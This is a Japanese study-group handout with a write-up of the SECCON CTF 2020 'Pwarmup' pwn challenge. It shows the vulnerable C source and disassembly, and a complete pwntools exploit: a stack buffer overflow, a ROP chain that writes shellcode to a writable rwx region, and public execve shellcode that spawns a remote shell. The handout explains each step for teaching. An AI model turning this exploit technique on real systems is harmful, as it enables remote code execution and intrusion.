# 10/14 低レイヤ 勉強会 --- ## 事務連絡 1. 低レイヤへの見学希望者が1人来てくれるそうです!! 2. これから低レイヤの活動は(少なくとも3ターム中は)月5、水3で行っていきます 全員揃う水3と、割とそろって、時間に余裕のある月5の構成(週1は少なすぎなので...) なるべく資料をわかりやすくし、来れなくても独学で対応できるようにします ## Write-Up Pwarmup [SECCCON CTF 2020 Pwn] その1 シェルを奪って(CUI版不正リモートデスクトップ的な)FLAGが書いてあるテキストファイルの中身を見る問題。 ### 問題 [pwarmup へのリンク](https://score.lmt.seccon.jp/challenges#pwarmup) ```test.sh nc pwn-neko.chal.seccon.jp 9001 #問題サーバに接続 wget https://score.lmt.seccon.jp/files/pwarmup.7fadc5ed305688a8144d076c54c64b6a.tar.gz # 問題バイナリのダウンロード ``` > **参考** > [SECCON 2020 Online CTF write-up - kusano_k 氏](https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1) > [Pwntoolsの機能と使い方まとめ - 8ayac氏](https://qiita.com/8ayac/items/12a3523394080e56ad5a) ## 必要なもの - python3 - pwntools (sudo pip3 install pwntools でインストール) - [GDB-Peda](https://qiita.com/miyase256/items/248a486cca671686c58c) (以前の勉強会で説明したもの。) ### main.c (ソースコード) 珍しくソースコード付き。 ```main.c #include <unistd.h> #include <stdio.h> int main(void) { char buf[0x20]; puts("Welcome to Pwn Warmup!"); scanf("%s", buf); fclose(stdout); fclose(stderr); } __attribute__((constructor)) void setup(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); alarm(60); } ``` ### 問題バイナリのアセンブラ(scanfとmain) ```scan.asm 00000000004005c0 <__isoc99_scanf@plt>: 4005c0: ff 25 12 06 20 00 jmp QWORD PTR [rip+0x200612] # 600bd8 <__isoc99_scanf@GLIBC_2.7> 4005c6: 68 04 00 00 00 push 0x4 4005cb: e9 a0 ff ff ff jmp 400570 <.plt> ``` ```main.asm 00000000004006b7 <main>: 4006b7: 55 push rbp 4006b8: 48 89 e5 mov rbp,rsp 4006bb: 48 83 ec 20 sub rsp,0x20 4006bf: 48 8d 3d 3e 01 00 00 lea rdi,[rip+0x13e] # 400804 <_IO_stdin_used+0x4> 4006c6: e8 b5 fe ff ff call 400580 <puts@plt> 4006cb: 48 8d 45 e0 lea rax,[rbp-0x20] 4006cf: 48 89 c6 mov rsi,rax 4006d2: 48 8d 3d 42 01 00 00 lea rdi,[rip+0x142] # 40081b <_IO_stdin_used+0x1b> 4006d9: b8 00 00 00 00 mov eax,0x0 4006de: e8 dd fe ff ff call 4005c0 <__isoc99_scanf@plt> 4006e3: 48 8b 05 16 05 20 00 mov rax,QWORD PTR [rip+0x200516] # 600c00 <stdout@@GLIBC_2.2.5> 4006ea: 48 89 c7 mov rdi,rax 4006ed: e8 9e fe ff ff call 400590 <fclose@plt> 4006f2: 48 8b 05 27 05 20 00 mov rax,QWORD PTR [rip+0x200527] # 600c20 <stderr@@GLIBC_2.2.5> 4006f9: 48 89 c7 mov rdi,rax 4006fc: e8 8f fe ff ff call 400590 <fclose@plt> 400701: b8 00 00 00 00 mov eax,0x0 400706: c9 leave 400707: c3 ret ``` ### 解答スクリプト このpythonスクリプトを実行するだけでシェルが奪えます。 ```attack.py from pwn import * s = remote("pwn-neko.chal.seccon.jp", 9001) elf = ELF("chall") context.binary = elf rop = ROP(elf) # scanf("%s", 0x600000) rop.call(0x4005c0, [next(elf.search(b"%s")), 0x600000]) rop.call(0x600000) s.sendlineafter( "Welcome to Pwn Warmup!\n", b"a"*0x28+rop.chain()) # http://shell-storm.org/shellcode/files/shellcode-806.php s.sendline( "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53" "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") s.interactive() ``` --- ```a.py from pwn import * ``` この問題含め、多くの場合Gallopsledさん開発の[Pwntools](https://github.com/Gallopsled/pwntools)というモジュールをインポート(Cのinclude的な)してpythonスクリプトを構成し、それを問題サーバーに送り付けて解いていきます。 いろいろな処理を自動でやってくれますが、それゆえ処理がブラックボックスになったりして基礎の理解がおろそかになりがちです。 普段はなるべくこれを使わずに練習しつつ、本質的な理解の努力をなるべくしていくのが望ましいです。 ```a.py s = remote("pwn-neko.chal.seccon.jp", 9001) ``` **remote**でサーバーとやり取りします(アドレス,ポート番号)。 ```a.py elf = ELF('/path/to/chall') context.binary = elf ``` **ELF**で実行ファイル内の様々な値を自動的にそのバイナリに適したものにしてくれます。 ()内には、自分でダウンロードした問題バイナリのパスを入力しましょう。 サーバー側の問題バイナリを自動で参照するのはさすがにできないので... ```a.py rop = ROP(elf) ``` **ROP(Return-oriented programming)** ...スタックオーバーフローから関数の呼び出しなどを行い、目的の処理を実行する手法。 ROP(実行ファイル)でバイナリの中を検索し、自動でROPまでの経路を構築する処理を行ってくれる。 これによりscanfを実行した後に再びmainに戻り、アドレスの変化(後述)とreturn前にstdoutとstderrが閉じられていて出力ができないという2点を回避。 ```a.py rop.call(0x4005c0, [next(elf.search(b"%s")), 0x600000]) rop.call(0x600000) ``` **rop.call**で、main戻った後に行う処理を後付けする(デフォルトはmainに戻るのみ)。 最初の行でROPでscanf(“%s”, 任意のメモリアドレス) を呼び、どこか読み書き可能な場所にシェルコード(後述)を読み込む(scanf("%s", 0x600000)と同義の処理)。 次の行で、埋め込んだシェルコードを実行。 ### シェルコードを埋め込む場所の探し方 その場所は - **セキュリティ機構ASLR(stdioで読み込んで使うような関数がまとまった共有ライブラリなどのアドレスを毎回シャッフルして安全性を高めるOSの仕組み)** の影響を受けない - なおかつ書き込みOKな場所 がよろしい。 1. デバッガ GDB-Peda でバイナリを開く。 2. disas mainで処理一覧を表示し、入力が受け付けられる部分(gets,scanf等)を見つける。 ![](https://i.imgur.com/Xrx89gH.png) 3. 見つけたらb *[アドレス]でブレークポイントを設置。 1. rで実行、ブレークポイントで処理が止まるのを待つ。 1. ある程度メモリにプログラムが読まれた段階でデバッガのvmmapで様子を見る。![](https://i.imgur.com/yCDPgQM.png) 1. 0x600000はlibc(共有ライブラリ)以前、かつパーミッションはrwxpと全部そろってる。 よって上記の条件に該当するアドレスは**0x600000**だと判明!! --- ```a.py s.sendlineafter( "Welcome to Pwn Warmup!\n", b"a"*0x28+rop.chain()) ``` 接続して特定のメッセージが表示された後に、()内の処理を実行するという意。 (問題サーバーにアクセスするとわかるが、**Welcome to Pwn Warmup!** とでて入力を受け付ける) main関数のアセンブリを読み、代入用に0x20のスタック**のみ**確保されていることと、そのあとで必ず0x8の古いrbpの値が確保されることから、aでそこまで埋める。 そうしてバッファオーバーフローを起こした後でropを発動。 シェルコードを実行する。 ```a.py s.sendline( "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53" "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") ``` シェルコードを送り付ける処理。シェルコード->アセンブラ言語->機械語に変換してあるものを送り付ける ### シェルコードとは シェルを実行するものをはじめ、特定の処理を行うコードの総称。 > http://shell-storm.org/shellcode/files/shellcode-806.php これは公開されている出来合いのシェルコードの1つであり、使いまわしがきく。 これを一番最初にとりあえず送り付けてみる、という手段も有効 --- ```a.py s.interactive() ``` 相互接続を可能にする。シェルを奪った後に操作できるように --- こうしてシェルを奪えます。 ![](https://i.imgur.com/BbMohrl.png) 続きはまた次回...